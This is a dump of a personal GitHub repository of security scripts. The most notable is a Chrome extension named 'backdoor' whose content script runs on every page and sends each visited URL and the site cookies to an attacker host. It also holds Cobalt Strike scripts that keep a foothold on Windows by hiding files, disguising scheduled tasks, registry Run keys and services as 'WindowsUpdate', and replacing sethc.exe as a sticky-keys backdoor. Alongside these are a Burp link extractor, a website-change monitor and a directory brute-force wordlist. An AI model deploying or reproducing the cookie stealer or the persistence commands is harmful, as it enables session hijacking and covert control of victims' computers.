├── ChromeExtBackdoor ├── cat.js ├── icons │ └── 32.png └── manifest.json ├── Chrome简易插件后门从无到有.pdf ├── LinksDumper ├── README.md └── linkdumper.py ├── PrivilegeHelper.cna ├── PrivilegeHelperEN.cna ├── README.md ├── WebMonitor ├── config.ini ├── main.py ├── urls.txt └── 网站监控脚本使用说明.pdf ├── ali.jpg ├── burp_dir.txt ├── burp_filenames.txt ├── bypass.txt ├── cat.png ├── phpstudyOnlineCheck ├── app.py └── templates │ └── index.html ├── procdump.ps1 ├── she11.zip ├── wce.ps1 ├── web2dict └── app.py └── wx.jpg /ChromeExtBackdoor/cat.js: -------------------------------------------------------------------------------- 1 | var website = "http://xxx.xxx.xxx.xxx/xss/"; 2 | (function() { 3 | (new Image()).src = website + '/?keepsession=1&location=' + escape((function() { 4 | try { 5 | return document.location.href 6 | } catch (e) { 7 | return '' 8 | } 9 | })()) + '&toplocation=' + escape((function() { 10 | try { 11 | return top.location.href 12 | } catch (e) { 13 | return '' 14 | } 15 | })()) + '&cookie=' + escape((function() { 16 | try { 17 | return document.cookie 18 | } catch (e) { 19 | return '' 20 | } 21 | })()) + '&opener=' + escape((function() { 22 | try { 23 | return (window.opener && window.opener.location.href) ? window.opener.location.href : '' 24 | } catch (e) { 25 | return '' 26 | } 27 | })()); 28 | })(); -------------------------------------------------------------------------------- /ChromeExtBackdoor/icons/32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/ChromeExtBackdoor/icons/32.png -------------------------------------------------------------------------------- /ChromeExtBackdoor/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "backdoor", 3 | "version": "0.1", 4 | "description": "C00lC@t", 5 | 6 | "icons": { 7 | "32": "icons/32.png" 8 | }, 9 | 10 | "manifest_version": 2, 11 | 12 | "content_scripts": [ 13 | { 14 | "matches": ["https://*/*", "http://*/*"], 15 | "js": ["./cat.js"], 16 | "all_frames": true 17 | } 18 | ] 19 | } 20 | -------------------------------------------------------------------------------- /Chrome简易插件后门从无到有.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/Chrome简易插件后门从无到有.pdf -------------------------------------------------------------------------------- /LinksDumper/README.md: -------------------------------------------------------------------------------- 1 | # LinkDumper Burp Plugin 2 | 3 | > Tab view panel using `IMessageEditorTab` to dump all the links from the responses: 4 | 5 | ![LinkDumper](https://user-images.githubusercontent.com/13177578/63759484-39863300-c8db-11e9-9090-5cd52ae6fffd.PNG) 6 | 7 | # Workflow: 8 | 9 | > Dump links from respones,If url is hex/url encoded then decode it,Sort all the results to put the most likeable links at the top & rest junk(html/javascript junk) in the last. 10 | 11 | > Why to include junk? why not just links: 12 | * Finding all possible type links is really difficult task,There are many cases where the endpoints are stored in differential structures where they are hard to extract using regex. 13 | * So it's a good practice a take a look around junks to find something interesting. 14 | 15 | # Customize: 16 | 17 | > Dump links from the responses of content-types defined at `WHITELIST_MEMES ` list. Modify it accordingly, The more you keep it accurate the less memory it takes. 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /LinksDumper/linkdumper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #### AUTHOR - Arbaz Hussain 3 | from burp import IBurpExtender 4 | from burp import IMessageEditorTab,IMessageEditorTabFactory 5 | from java.io import PrintWriter 6 | import sys,re,urllib 7 | 8 | clay = ['<','>','{','}','(',')',' '] 9 | 10 | regex_str = r'((href|src|icon|data|url)=[\'"]?([^\'" >;]+)|((?:(?:https?|ftp):\\/\\/)?[\w/\-?=%.]+\\?.[\w/\-?=%.]+))' 11 | 12 | WHITELIST_MEMES = ['HTML','Script','Other text','CSS','JSON','script','json',"XML",'xml',"text","TEXT","app","meta","div"] 13 | 14 | class BurpExtender(IBurpExtender, IMessageEditorTabFactory): 15 | def registerExtenderCallbacks(self, callbacks): 16 | 17 | print('Hacked By CLAY\n CoolCat === Five') 18 | 19 | self._callbacks = callbacks 20 | self._helpers = callbacks.getHelpers() 21 | sys.stdout = callbacks.getStdout() 22 | self._stdout = PrintWriter(callbacks.getStdout(), True) 23 | 24 | callbacks.setExtensionName("LinkDumper") 25 | callbacks.registerMessageEditorTabFactory(self) 26 | return 27 | 28 | def createNewInstance(self,controller,editable): 29 | return LinkFetcherTab(self,controller,editable) 30 | 31 | 32 | class LinkFetcherTab(IMessageEditorTab): 33 | def __init__(self,extender,controller,editable): 34 | self._extender = extender 35 | self._helpers = extender._helpers 36 | self._editable = editable 37 | 38 | self._txtInput = extender._callbacks.createTextEditor() 39 | self._txtInput.setEditable(editable) 40 | 41 | def getTabCaption(self): 42 | return "LINK-DUMPER" 43 | 44 | def getUiComponent(self): 45 | return self._txtInput.getComponent() 46 | 47 | def isEnabled(self,content,isRequest): 48 | r = self._helpers.analyzeResponse(content) 49 | if str(r.getInferredMimeType()) in WHITELIST_MEMES: 50 | msg = content[r.getBodyOffset():].tostring() 51 | msg = msg.replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'") 52 | regex = re.compile(regex_str,re.VERBOSE|re.IGNORECASE) 53 | re_r = regex.findall(msg) 54 | if len(re_r) != 0: 55 | self._links = list(set([tuple(j for j in re_r if j)[-1] for re_r in re_r])) 56 | self.final_links = '\n'.join(self.FilteringLinks(self._links)) 57 | return len(re_r) 58 | 59 | def setMessage(self,content,isRequest): 60 | if content is None: 61 | self._txtInput.setText(None) 62 | self._txtInput.setEditable(False) 63 | else: 64 | self._txtInput.setText(self.final_links) 65 | self._currentMessage = self.final_links 66 | 67 | def getMessage(self): 68 | return self._currentMessage 69 | 70 | def isModified(self): 71 | return self._txtInput.isTextModified() 72 | 73 | def getSelectedData(self): 74 | return self._txtInput.getSelectedText() 75 | 76 | def Sorting(self,lst): 77 | lst2 = sorted(lst, key=len,reverse=True) 78 | return lst2 79 | 80 | 81 | def FilteringLinks(self,urllist): 82 | final_unsorted_list = [] 83 | final_sorted_list = [] 84 | final_list = [] 85 | mst = [] 86 | if urllist: 87 | for each_url in urllist: 88 | if '\u002' in each_url: ###! UNICODE 89 | each_url = each_url.encode('utf-8').decode('unicode-escape','ignore').replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'") 90 | if '%3A' or '%2F' in each_url: ###! URL 91 | each_url = urllib.unquote(each_url).decode('utf-8','ignore').replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'") 92 | final_list.append(each_url) 93 | else: 94 | final_list.append(each_url.replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'")) 95 | if '%3A' or '%2F' in each_url: 96 | each_url = urllib.unquote(each_url).decode('utf-8','ignore').replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'") 97 | final_list.append(each_url) 98 | else: 99 | final_list.append(each_url.replace('\\x3d','=').replace('\\x26','&').replace('\\x22','"').replace('\\x23','#').replace('\\x27',"'")) 100 | 101 | for each_list in final_list: 102 | if each_list.startswith('/') or '://' in each_list or len(each_list.split('/')) > 1: 103 | final_sorted_list.append(each_list) 104 | 105 | 106 | for each_list in final_list: 107 | if each_list not in final_sorted_list: 108 | final_unsorted_list.append(each_list) 109 | 110 | temp_list = self.Sorting(final_unsorted_list) 111 | 112 | 113 | for temp1 in final_sorted_list: 114 | n = 0 115 | for dalao in clay: 116 | if dalao in temp1: 117 | n += 1 118 | if n == 0: 119 | temp1 = temp1.replace('\\','/') 120 | mst.append(temp1) 121 | 122 | mst = list(set(mst)) 123 | 124 | # return final_sorted_list + temp_list 125 | 126 | return mst 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /PrivilegeHelper.cna: -------------------------------------------------------------------------------- 1 | popup beacon_bottom { 2 | menu "权限维持" { 3 | 4 | item "设置路径" { 5 | local('$bid'); 6 | foreach $bid ($1){ 7 | prompt_text("filePath", $filePath, { 8 | $filePath = $1; 9 | return $filePath; 10 | }); 11 | } 12 | } 13 | 14 | 15 | item "隐藏文件" { 16 | local('$bid'); 17 | foreach $bid ($1){ 18 | bshell($1, "attrib \"$filePath\" +s +h"); 19 | } 20 | } 21 | 22 | 23 | item "定时任务" { 24 | local('$bid'); 25 | foreach $bid ($1){ 26 | bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 27 | } 28 | } 29 | 30 | item "注册表"{ 31 | local('$bid'); 32 | foreach $bid ($1){ 33 | bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 34 | } 35 | } 36 | 37 | item "SC服务"{ 38 | local('$bid'); 39 | foreach $bid ($1){ 40 | bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 41 | 42 | } 43 | } 44 | 45 | item "shift启动"{ 46 | local('$bid'); 47 | foreach $bid ($1){ 48 | bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 49 | } 50 | } 51 | 52 | item "自启动目录"{ 53 | local('$bid'); 54 | foreach $bid ($1){ 55 | bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 56 | bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 57 | } 58 | } 59 | 60 | item "懒人攻略" { 61 | local('$bid'); 62 | foreach $bid ($1){ 63 | bshell($1, "attrib \"$filePath\" +s +h"); 64 | bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 65 | bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 66 | bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 67 | bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 68 | bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 69 | bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 70 | 71 | } 72 | 73 | } 74 | 75 | 76 | } 77 | } -------------------------------------------------------------------------------- /PrivilegeHelperEN.cna: -------------------------------------------------------------------------------- 1 | popup beacon_bottom { 2 | menu "Persistence" { 3 | 4 | item "setFilePath" { 5 | local('$bid'); 6 | foreach $bid ($1){ 7 | prompt_text("filePath", $filePath, { 8 | $filePath = $1; 9 | return $filePath; 10 | }); 11 | } 12 | } 13 | 14 | 15 | item "hiddenFile" { 16 | local('$bid'); 17 | foreach $bid ($1){ 18 | bshell($1, "attrib \"$filePath\" +s +h"); 19 | } 20 | } 21 | 22 | 23 | item "schtasks" { 24 | local('$bid'); 25 | foreach $bid ($1){ 26 | bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 27 | } 28 | } 29 | 30 | item "regedit"{ 31 | local('$bid'); 32 | foreach $bid ($1){ 33 | bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 34 | } 35 | } 36 | 37 | item "SC Service"{ 38 | local('$bid'); 39 | foreach $bid ($1){ 40 | bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 41 | 42 | } 43 | } 44 | 45 | item "shift backdoor"{ 46 | local('$bid'); 47 | foreach $bid ($1){ 48 | bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 49 | } 50 | } 51 | 52 | item "StartupPath"{ 53 | local('$bid'); 54 | foreach $bid ($1){ 55 | bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 56 | bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 57 | } 58 | } 59 | 60 | item "JustGo" { 61 | local('$bid'); 62 | foreach $bid ($1){ 63 | bshell($1, "attrib \"$filePath\" +s +h"); 64 | bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 65 | bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 66 | bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 67 | bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 68 | bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 69 | bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 70 | 71 | } 72 | 73 | } 74 | 75 | 76 | } 77 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # myScripts 2 | 日常瞎写，垃圾桶。 3 | 4 | 5 | for PrivilegeHelper of CobaltStrike, You must set the file path frist. 6 | 7 | 8 | -------------------------------------------------------------------------------- /WebMonitor/config.ini: -------------------------------------------------------------------------------- 1 | [mailconf] 2 | sender = 10000@qq.com 3 | receiver = 10000@qq.com 4 | password = yourCode 5 | mailserver = smtp.qq.com 6 | port = 25 7 | -------------------------------------------------------------------------------- /WebMonitor/main.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | __author__ = 'CoolCat' 4 | 5 | import requests 6 | import time 7 | import sys 8 | import hashlib 9 | import nltk 10 | import requests 11 | import time 12 | import hashlib 13 | import smtplib 14 | from email.mime.text import MIMEText 15 | from email.utils import formataddr 16 | from email.mime.application import MIMEApplication 17 | from email.mime.image import MIMEImage 18 | from email.mime.multipart import MIMEMultipart 19 | import os 20 | import asyncio 21 | from pyppeteer import launch 22 | import configparser 23 | 24 | 25 | 26 | class Logger(object): 27 | def __init__(self, fileN="Default.log"): 28 | self.terminal = sys.stdout 29 | self.log = open(fileN, "w") 30 | 31 | def write(self, message): 32 | self.terminal.write(message) 33 | self.log.write(message) 34 | 35 | def flush(self): 36 | pass 37 | 38 | sys.stdout = Logger(str(time.strftime('%Y%m%d--%H-%M-%S')) + ".log") 39 | 40 | 41 | async def screenshot(url): 42 | browser = await launch(headless=True) 43 | page = await browser.newPage() 44 | await page.setViewport({'width': 640, 'height': 480}) 45 | await page.goto(url) 46 | imageName = url.replace("https://", "").replace("http://", "").replace("/", "") + ".png" 47 | await page.screenshot({'path': imageName}) 48 | await browser.close() 49 | 50 | 51 | def sendMail(sender,receiver,password,mailserver,port,url,sub,contents): 52 | 53 | try: 54 | msg = MIMEMultipart('related') 55 | msg['From'] = formataddr(["sender", sender]) # 发件人邮箱昵称、发件人邮箱账号 56 | msg['To'] = formataddr(["receiver", receiver]) # 收件人邮箱昵称、收件人邮箱账号 57 | msg['Subject'] = sub 58 | 59 | # 文本信息 60 | # txt = MIMEText('this is a test mail', 'plain', 'utf-8') 61 | # msg.attach(txt) 62 | 63 | # 附件信息 64 | # attach = MIMEApplication(open("1.zip").read()) 65 | # attach.add_header('Content-Disposition', 'attachment', filename='1.zip') 66 | # msg.attach(attach) 67 | 68 | # 正文显示图片 69 | 70 | body = contents + """ 71 |

72 | """ 73 | 74 | #asyncio.get_event_loop().run_until_complete(screenshot(url)) 75 | 76 | imageName = url.replace("https://", "").replace("http://", "").replace("/", "") + ".png" 77 | text = MIMEText(body, 'html', 'utf-8') 78 | 79 | try: 80 | f = open(imageName, 'rb') 81 | pic = MIMEImage(f.read()) 82 | f.close() 83 | pic.add_header('Content-ID', '') 84 | msg.attach(text) 85 | msg.attach(pic) 86 | except: 87 | f = open('404.jpg', 'rb') 88 | pic = MIMEImage(f.read()) 89 | f.close() 90 | pic.add_header('Content-ID', '') 91 | msg.attach(text) 92 | msg.attach(pic) 93 | pass 94 | server = smtplib.SMTP(mailserver, port) # 发件人邮箱中的SMTP服务器，端口是25 95 | server.login(sender, password) # 发件人邮箱账号、邮箱密码 96 | server.sendmail(sender, receiver, msg.as_string()) # 发件人邮箱账号、收件人邮箱账号、发送邮件 97 | server.quit() 98 | print(time.strftime('[%H:%M:%S]') + ' Notification has been sent successfully') 99 | except Exception as e: 100 | print(e) 101 | pass 102 | 103 | 104 | def bigram(text1, text2): 105 | 106 | # bigram考虑匹配开头和结束，所以使用pad_right和pad_left 107 | text1_bigrams = nltk.bigrams(text1.split(), pad_right=True, pad_left=True) 108 | 109 | text2_bigrams = nltk.bigrams(text2.split(), pad_right=True, pad_left=True) 110 | 111 | # 交集的长度 112 | distance = len(set(text1_bigrams).intersection(set(text2_bigrams))) 113 | 114 | return distance 115 | 116 | def sendHttp(url): 117 | 118 | try: 119 | # session = requests.Session() 120 | 121 | headers = {"Cache-Control": "max-age=0", 122 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", 123 | "Upgrade-Insecure-Requests": "1", 124 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36", 125 | "Connection": "close", 126 | "Accept-Encoding": "gzip, deflate", 127 | "Accept-Language": "zh-CN,zh;q=0.9" 128 | } 129 | cookies = {"__jsluid_h": "d78b520921595ab02a00dd2cbc4484ad", 130 | "JSESSIONID": "3823B8751C6732F651649703DEE19F50" 131 | } 132 | 133 | data = requests.get(url, 134 | headers=headers, 135 | cookies=cookies, 136 | timeout=10 137 | ) 138 | return data 139 | except Exception as e: 140 | print(e) 141 | return 'error' 142 | pass 143 | 144 | def getHash(data): 145 | lastHash = hashlib.md5() 146 | lastHash.update(data.text.encode(encoding='UTF-8')) 147 | return lastHash.hexdigest() 148 | 149 | if __name__ == '__main__': 150 | 151 | badSite = [] 152 | errorSite = [] 153 | goodSite = [] 154 | hashDict = {} 155 | txt = {} 156 | 157 | conf = configparser.ConfigParser() 158 | 159 | try: 160 | conf.read("config.ini") 161 | sender = conf.get("mailconf", "sender") 162 | receiver = conf.get("mailconf", "receiver") 163 | password = conf.get("mailconf", "password") 164 | mailserver = conf.get("mailconf", "mailserver") 165 | port = int(conf.get("mailconf", "port")) 166 | 167 | print(time.strftime('[%H:%M:%S]') + " Config file load success...") 168 | except: 169 | print(time.strftime('[%H:%M:%S]') + " Config file load error...") 170 | 171 | 172 | n = 0 173 | for url in open('urls.txt'): 174 | n += 1 175 | url = url.replace('\n','').replace('\r','') 176 | 177 | try: 178 | data = sendHttp(url) 179 | print(time.strftime('[%H:%M:%S]') + '\t{}\t{}\t{}\t{}'.format(n, data.status_code, len(data.text), url)) 180 | txt[url] = data.text 181 | goodSite.append(url) 182 | if data.status_code != 200: 183 | errorSite.append(url) 184 | except Exception as e: 185 | badSite.append(url) 186 | print(e) 187 | pass 188 | 189 | # if url in coolcat: 190 | # try: 191 | # data = sendHttp(url) 192 | # print(time.strftime('[%H:%M:%S]') + '\t{}\t{}\t{}\t{}'.format(n, data.status_code, len(data.text), url)) 193 | # txt[url] = data.text 194 | # goodSite.append(url) 195 | # except Exception as e: 196 | # print(e) 197 | # pass 198 | # else: 199 | # try: 200 | # data = sendHttp(url) 201 | # initHash = getHash(data) 202 | # hashDict[url] = initHash 203 | # print(time.strftime('[%H:%M:%S]') + '\t{}\t{}\t{}\t{}'.format(n, data.status_code, initHash, url)) 204 | # if data.status_code != 200: 205 | # errorSite.append(url) 206 | # goodSite.append(url) 207 | # except Exception as e: 208 | # print(time.strftime('[%H:%M:%S]') + '\t{} \terror\t{}\n{}'.format(n, url, e)) 209 | # badSite.append(url) 210 | # pass 211 | # time.sleep(2) 212 | 213 | print(time.strftime('[%H:%M:%S]') + ' Test notification will be sent') 214 | 215 | contents = time.strftime('[%H:%M:%S]') + '共{}个站点连接失败:
'.format(len(badSite)) 216 | 217 | for bad in badSite: 218 | contents += bad + '
' 219 | # print(bad) 220 | 221 | 222 | contents = contents + time.strftime('[%H:%M:%S]') + '共{}个站点返回的内容错误:
'.format(len(errorSite)) 223 | 224 | for error in errorSite: 225 | contents += error + '
' 226 | 227 | # print(error) 228 | 229 | sub = '测试邮件-已开始监控 %s 等站点的内容' % url 230 | sendMail(sender, receiver, password, mailserver, port, url, sub,contents) 231 | 232 | 233 | # print(txt) 234 | 235 | print('=' * 150) 236 | 237 | while True: 238 | cat = [] 239 | m = 0 240 | for url in goodSite: 241 | # print(url) 242 | try: 243 | data = sendHttp(url) 244 | # print('=' * 20) 245 | # print(url) 246 | fuck = bigram(txt[url], data.text) / bigram(txt[url], txt[url]) 247 | print('[{}]{}'.format(fuck, url)) 248 | if fuck < 0.90: 249 | sub = '【警告】{}内容发生变化...'.format(url) 250 | print(sub) 251 | contents = '监测到站点{}有内容变化，请人工核查是否为合法修改。
页面相似度: {}'.format(url, url, fuck) 252 | sendMail(sender, receiver, password, mailserver, port, url, sub, contents) 253 | # print('=' * 20) 254 | except Exception as e: 255 | print(e) 256 | pass 257 | 258 | time.sleep(2) 259 | 260 | time.sleep(1800) 261 | 262 | # if url in coolcat: 263 | # try: 264 | # data = sendHttp(url) 265 | # # print('=' * 20) 266 | # # print(url) 267 | # fuck = bigram(txt[url], data.text) / bigram(txt[url], txt[url]) 268 | # print('[{}]{}'.format(fuck,url)) 269 | # if fuck < 0.95: 270 | # sub = '【警告】{}内容发生变化...'.format(url) 271 | # print(sub) 272 | # contents = '监测到站点{}有内容变化，请人工核查是否为合法修改。
页面相似度: {}'.format(url, url, fuck) 273 | # sendMail(sender, receiver, password, mailserver, port, url, sub, contents) 274 | # # print('=' * 20) 275 | # except Exception as e: 276 | # print(e) 277 | # pass 278 | # else: 279 | # m += 1 280 | # # print(url) 281 | # try: 282 | # lastData = sendHttp(url) 283 | # lastHash = getHash(lastData) 284 | # if lastHash != hashDict[url]: 285 | # print(time.strftime('[%H:%M:%S]') + '\t{}\t{}\t{}'.format(m, lastData.status_code, url)) 286 | # print('{}!={}\n站点已被修改'.format(lastHash, hashDict[url])) 287 | # 288 | # sub = '【警告】{}内容发生变化...'.format(url) 289 | # contents = '监测到站点{}有内容变化，请人工核查是否为合法修改。'.format(url, url) 290 | # sendMail(sender, receiver, password, mailserver, port, url, sub, contents) 291 | # 292 | # cat.append(url) 293 | # except Exception as e: 294 | # print(e) 295 | # pass 296 | 297 | 298 | 299 | 300 | -------------------------------------------------------------------------------- /WebMonitor/urls.txt: -------------------------------------------------------------------------------- 1 | http://127.0.0.1/ 2 | http://test.com/ 3 | -------------------------------------------------------------------------------- /WebMonitor/网站监控脚本使用说明.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/WebMonitor/网站监控脚本使用说明.pdf -------------------------------------------------------------------------------- /ali.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/ali.jpg -------------------------------------------------------------------------------- /burp_dir.txt: -------------------------------------------------------------------------------- 1 | a 2 | about 3 | access 4 | account 5 | accounting 6 | activex 7 | admin 8 | administration 9 | administrator 10 | adminuser 11 | Album 12 | apache 13 | app 14 | appl 15 | applets 16 | application 17 | applications 18 | apply 19 | apps 20 | archive 21 | archives 22 | article 23 | articles 24 | auth 25 | author 26 | authors 27 | b 28 | backup 29 | backups 30 | beta 31 | bin 32 | binaries 33 | binary 34 | blog 35 | browse 36 | buy 37 | c 38 | cart 39 | catalog 40 | category 41 | cbi-bin 42 | ccards 43 | cert 44 | certificate 45 | cgi 46 | cgi-bin 47 | class 48 | client 49 | clients 50 | code 51 | com 52 | comments 53 | common 54 | comp 55 | company 56 | compressed 57 | conf 58 | config 59 | configs 60 | connect 61 | contact 62 | contacts 63 | contactus 64 | content 65 | core 66 | crack 67 | credit 68 | cust 69 | custom 70 | customer 71 | customers 72 | data 73 | database 74 | databases 75 | datafiles 76 | db 77 | debug 78 | default 79 | delete 80 | demo 81 | demos 82 | demouser 83 | dev 84 | devel 85 | development 86 | dir 87 | directories 88 | directory 89 | doc 90 | doc-html 91 | docs 92 | document 93 | documentation 94 | documents 95 | download 96 | downloads 97 | e 98 | email 99 | employees 100 | en 101 | enter 102 | error 103 | errors 104 | events 105 | example 106 | examples 107 | exit 108 | export 109 | external 110 | extranet 111 | f 112 | faq 113 | features 114 | files 115 | find 116 | flash 117 | form 118 | forms 119 | forum 120 | ftp 121 | full 122 | fun 123 | function 124 | g 125 | general 126 | global 127 | globals 128 | graphics 129 | guest 130 | guests 131 | h 132 | help 133 | hidden 134 | home 135 | htm 136 | html 137 | i 138 | I 139 | icons 140 | idea 141 | image 142 | images 143 | img 144 | imp 145 | import 146 | inc 147 | include 148 | includes 149 | index 150 | info 151 | information 152 | install 153 | internal 154 | internet 155 | intranet 156 | inventory 157 | j 158 | js 159 | k 160 | keygen 161 | known 162 | l 163 | lib 164 | libraries 165 | library 166 | license 167 | licenses 168 | links 169 | linux 170 | local 171 | log 172 | logfile 173 | logfiles 174 | logging 175 | login 176 | logo 177 | logout 178 | logs 179 | m 180 | mail 181 | main 182 | man 183 | management 184 | manager 185 | manual 186 | map 187 | maps 188 | marketing 189 | media 190 | member 191 | members 192 | message 193 | messaging 194 | misc 195 | mod 196 | module 197 | modules 198 | n 199 | name 200 | names 201 | new 202 | news 203 | News 204 | notes 205 | o 206 | objects 207 | old 208 | oracle 209 | order 210 | orders 211 | out 212 | p 213 | page 214 | pages 215 | partner 216 | partners 217 | passport 218 | password 219 | passwords 220 | payment 221 | personal 222 | pics 223 | pictures 224 | press 225 | privacy 226 | private 227 | products 228 | profile 229 | protected 230 | proxy 231 | pub 232 | public 233 | publish 234 | purchase 235 | purchases 236 | pw 237 | q 238 | r 239 | Readme 240 | register 241 | report 242 | reports 243 | resources 244 | restricted 245 | retail 246 | reviews 247 | robot 248 | robots 249 | rss 250 | s 251 | sales 252 | save 253 | script 254 | scripts 255 | search 256 | secret 257 | secure 258 | security 259 | sell 260 | serial 261 | server 262 | service 263 | services 264 | servlet 265 | servlets 266 | session 267 | setup 268 | share 269 | shared 270 | shipping 271 | shop 272 | show 273 | site 274 | sitemap 275 | sites 276 | soap 277 | software 278 | source 279 | spacer 280 | sql 281 | src 282 | staff 283 | stat 284 | stats 285 | status 286 | store 287 | stuff 288 | style 289 | styles 290 | stylesheet 291 | stylesheets 292 | sun 293 | supplier 294 | suppliers 295 | supply 296 | support 297 | sys 298 | system 299 | systems 300 | t 301 | tar 302 | target 303 | tech 304 | temp 305 | template 306 | templates 307 | terms 308 | test 309 | testing 310 | tests 311 | themes 312 | ticket 313 | tickets 314 | tip 315 | tips 316 | tmp 317 | ToDo 318 | tool 319 | tools 320 | top 321 | u 322 | unknown 323 | updates 324 | upload 325 | uploads 326 | us 327 | usage 328 | user 329 | users 330 | usr 331 | util 332 | utils 333 | v 334 | vendor 335 | w 336 | warez 337 | web 338 | webadmin 339 | webapps 340 | word 341 | work 342 | world 343 | www 344 | wwwrooot 345 | x 346 | xml 347 | y 348 | z 349 | zip 350 | 1 351 | 2 352 | 2010 353 | 2011 354 | 2012 355 | 2013 356 | 3 357 | 4 358 | 5 359 | 6 360 | 7 361 | 8 362 | 9 363 | A 364 | About 365 | about-us 366 | about_us 367 | aboutus 368 | AboutUs 369 | aboutUs 370 | abstract 371 | academics 372 | acceso 373 | accessibility 374 | accessories 375 | accesswatch 376 | acciones 377 | accounts 378 | action 379 | active 380 | activities 381 | ad 382 | adclick 383 | add 384 | adlog 385 | adm 386 | admcgi 387 | admentor 388 | admin-bak 389 | admin-console 390 | admin-old 391 | admin.back 392 | admin_ 393 | Admin_files 394 | adminweb 395 | adminWeb 396 | admisapi 397 | ads 398 | adv 399 | advanced 400 | advanced_search 401 | advertise 402 | advertisement 403 | advertising 404 | adview 405 | advisories 406 | AdvWebAdmin 407 | affiliate 408 | affiliates 409 | africa 410 | agenda 411 | Agent 412 | agentes 413 | Agents 414 | ajax 415 | album 416 | albums 417 | alert 418 | alerts 419 | all 420 | allow 421 | alumni 422 | 